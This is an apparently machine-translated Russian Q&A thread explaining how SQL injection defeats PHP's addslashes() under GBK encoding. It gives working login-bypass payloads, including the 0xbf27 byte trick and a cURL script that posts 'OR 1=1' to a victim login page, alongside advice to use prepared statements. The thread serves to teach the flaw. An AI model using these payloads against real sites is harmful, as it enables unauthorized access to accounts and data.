Примеры SQL-инъекций через addlashes()?

В PHP я знаю, что mysql_real_escape гораздо безопаснее, чем использовать addslashes, Однако я не смог найти пример ситуации, когда addslashes позволил бы инъекции SQL произойти.

Кто-нибудь может привести несколько примеров?

Источник

4 ответа

Решение

Ну, вот статья, которую вы хотите.

По сути, атака работает так: addslashes() поставить обратную косую черту в середине многобайтового символа так, чтобы обратная косая черта теряла свое значение, будучи частью допустимой многобайтовой последовательности.

Общее предостережение от статьи:

Этот тип атаки возможен с любой кодировкой символов, где есть допустимый многобайтовый символ, заканчивающийся на 0x5c, так как addslashes() можно обмануть в создании допустимого многобайтового символа вместо экранирования следующей кавычки. UTF-8 не подходит под это описание.

Источник

В качестве дополнения для читателей ответы здесь: Эта ошибка MySQL уже исправлена ​​:)

Кроме того, всегда полезно использовать подготовленные заявления. Это самый беспроблемный способ запуска запросов (и, в некоторых случаях, самый производительный). И это спасло бы вас от этого недостатка.

Источник

Крис Шифлетт ясно объясняет приведенным ниже примером: "Конечно, это сработает, если вы попробуете это при использовании кодирования GBK в вашей базе данных". Даже я пробовал, это доказывает, что есть шансы для инъекции SQL, хотя они очень малы, но кто-то с хорошими знаниями и способностями может легко ввести. Вот пример...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Хотя использование addlashes() или magic_quotes_gpc обычно считается несколько безопасным, использование GBK сделает их практически бесполезными. Следующий скрипт PHP cURL сможет использовать инъекцию, надеюсь, это поможет вам немного больше понять:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
Источник

mysql_real_escape_string() по сравнению с подготовленными утверждениями ясно объясняет, что mysql_real_escape_string() не на 100% безопасна.

используя mysql_set_charset('GBK') для замены mysql_query("SET CHARACTER SET 'GBK" "), mysql_real_escape_string() может быть на 100% безопасным.

Источник
Другие вопросы по тегам